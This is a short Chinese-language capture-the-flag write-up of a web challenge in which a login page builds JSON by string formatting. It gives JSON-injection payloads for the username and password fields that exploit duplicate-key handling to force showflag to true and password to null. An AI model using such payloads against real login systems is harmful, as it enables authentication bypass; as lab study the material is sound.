AIS3 pre-exam 2021 – Yet another login page

這次唯一有解出來的 Web 題 QQ


題目為一個看起來很炫炮的網站

有給後台的 source
其中有一段是處理 login 的

直接拿使用者的輸入加進 python 的 string formater
下面能看到會將使用者的 data 直接轉換成 json
且中間完全沒有過濾,看來是 JSON injection

這邊可以看到先跑 valid_user(user) 檢查使用者輸入的密碼是否與 db 的 password 相等
再檢查 showflag == True ,且 user != guest
db 的值如下 ( OVO 是自己填的)

先處理 showflag 的部份,前面可以看到 showflag 預設是 true

'{"showflag": false, "username": "%s", "password": "%s"}'Code language: JavaScript (javascript)

python 的 json.loads 會在遇到重複的值時取新的為主
如 ‘{“showflag” : false, “showflag”:true}’,最後 data[‘showflag’] == true
所以在 username 那裡蓋掉 showflag 的值就好
先加上 OvO” 將前面的 username 設為 OvO 且 close
再加上 ,”showflag”: true 將 showflag 設為 true
最後還有一個 ” 要處理,就隨便加上東西 ,”OvO”:”OwO 來 close 最後一個 “

username = 'OvO","showflag":true,"OvO":"OwO'Code language: JavaScript (javascript)

到這裡輸入會長這樣

{"showflag": false, "username": "OvO","showflag":true,"OvO":"OwO", "password": "%s"}Code language: JSON / JSON with Comments (json)

現在來處理 password 
前面 valid_user 裡面有一行

return users_db.get(user['username']) == user['password']Code language: JavaScript (javascript)

這邊的 users_db.get() 只會回傳找到的密碼或者是 None
又 user != guest, admin 的密碼又不知道
所以只能想辦法將 password 設為 None
因為 password 前面已經開了 ” 了,所以只能先 close ,再建一個新的 password
後面的 ” 也隨便拿一個東西來 close 就好

password = '","password":null,"OAO":"O_O'Code language: JavaScript (javascript)

所以建出的 json 會長這樣

{
  "showflag": false,
  "username": "OvO",
  "showflag":true,
  "OvO":"OwO",
  "password": "",
  "password":null,
  "OAO":"O_O"
}Code language: JSON / JSON with Comments (json)